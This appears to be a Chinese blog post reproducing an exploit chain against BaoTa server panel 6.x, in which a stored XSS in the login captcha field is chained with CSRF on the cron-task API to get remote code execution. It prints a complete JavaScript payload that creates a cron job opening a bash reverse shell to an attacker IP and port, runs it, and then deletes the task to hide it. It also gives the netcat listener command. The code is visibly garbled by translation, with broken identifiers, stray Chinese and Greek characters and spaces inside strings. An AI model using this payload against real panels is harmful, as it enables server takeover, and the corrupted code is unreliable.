宝塔系统linux xss,宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell,xsscsrf

宝塔面板6.x版本前台存储XSS+后台CSRF组合拳Getshell,xsscsrf

对于宝塔漏洞复现和练习

0×00  什么是宝塔面板

宝塔面板是一款使用方便,功能强大且终身免费的服务器管理软件,支持Linux 与Windows 系统。一键配置:LAMP / LNMP ,网站,数据库,FTP ,SSL,通过Web 端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

0×01  漏洞成因

在6.x Linux 版本宝塔面板当中当中,相对与5.x 版本,记录了验证码错误并存入数据库当中,存储XSS缺陷就是在此处产生。 同时利用CSRF结合宝塔的计划任务反弹shell。

0×02   漏洞复现

首先访问后台,宝塔一般部署在8888 端口,

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

6a89f02d2de9ebcffb6420e6b3159ef2.png

然后我们在登陆,在验证码处输入XSS 利用代码测试

通过账号密码登陆宝塔后台,点开安全模块。我们可以看到触发了弹窗

由于宝塔面板的计划任务功能可以执行shell 脚本,所以我们可以基于这个xss 结合csrf 在计划任务功能处执行反弹shell 。

我们利用xss 平台(http://xsspt.com )新建一个项目执行自定义的js 脚本,修改里面的你的ip 和端口,代码如下

functionaddTask(TaskName,execTime,ip,port){var execShell ='bash -i>&/ dev / tcp / your_ip / your_port 0>&1';

execShell=encodeURIComponent(execShell);var params ='name ='+ TaskName +'&type = minute-n&where1 ='+ execTime +'&hour =&minute =&week =&sType = toShell&sBody ='+ execShell +'&sName =&backupTo = localhost&save =&urladdress = undefined'

var xhr = newXMLHttpRequest();

xhr.open('POST','/ crontab?action = AddCrontab',false);

xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

xhr.send(PARAMS);

}functionexecTask(TaskName){var xhr = newXMLHttpRequest();

xhr.open('POST','/ crontab?action = GetCrontab',true);

xhr.send();

xhr.οnlοad= function(){if(this.readyState == 4 && this.status == 200){var res = JSON.parse(this.responseText);if(res [0] .name ==TaskName){var TaskID = res [0] .id.toString();var xhr = newXMLHttpRequest();

xhr.open('POST','/ crontab?action = StartTask',false);

xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');var params ='id ='+TaskID;

xhr.send(PARAMS);

delTask(RES [0] .ID);

的console.log(RES [0] .ID);return res [0] .id;

}

}

}

}functiondelTask(TaskID){var params ='id ='+TaskID.toString();var xhr = newXMLHttpRequest();

xhr.open('POST','/ crontab?action = DelCrontab',false);

xhr.setRequestHeader('Content-Type','application / x-www-form-urlencoded');

xhr.send(PARAMS);

}var TaskName = Math.random()。toString(36).substring(7);

addTask(TASKNAME,'5', '1.1.1.1', '53');

execTask(TASKNAME);

在本地通过nc 监听反弹的端口,nc.exe -l -vv -p 反弹端口

1F910H15-1.png

在然后后台通过登陆面板的验证码处插入我们配置好的跨站网站脚本代码

1F9102159-2.png

在登陆宝塔后台面板,点开安全模块。我们可以看到壳成功反弹

1F9104253-3.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值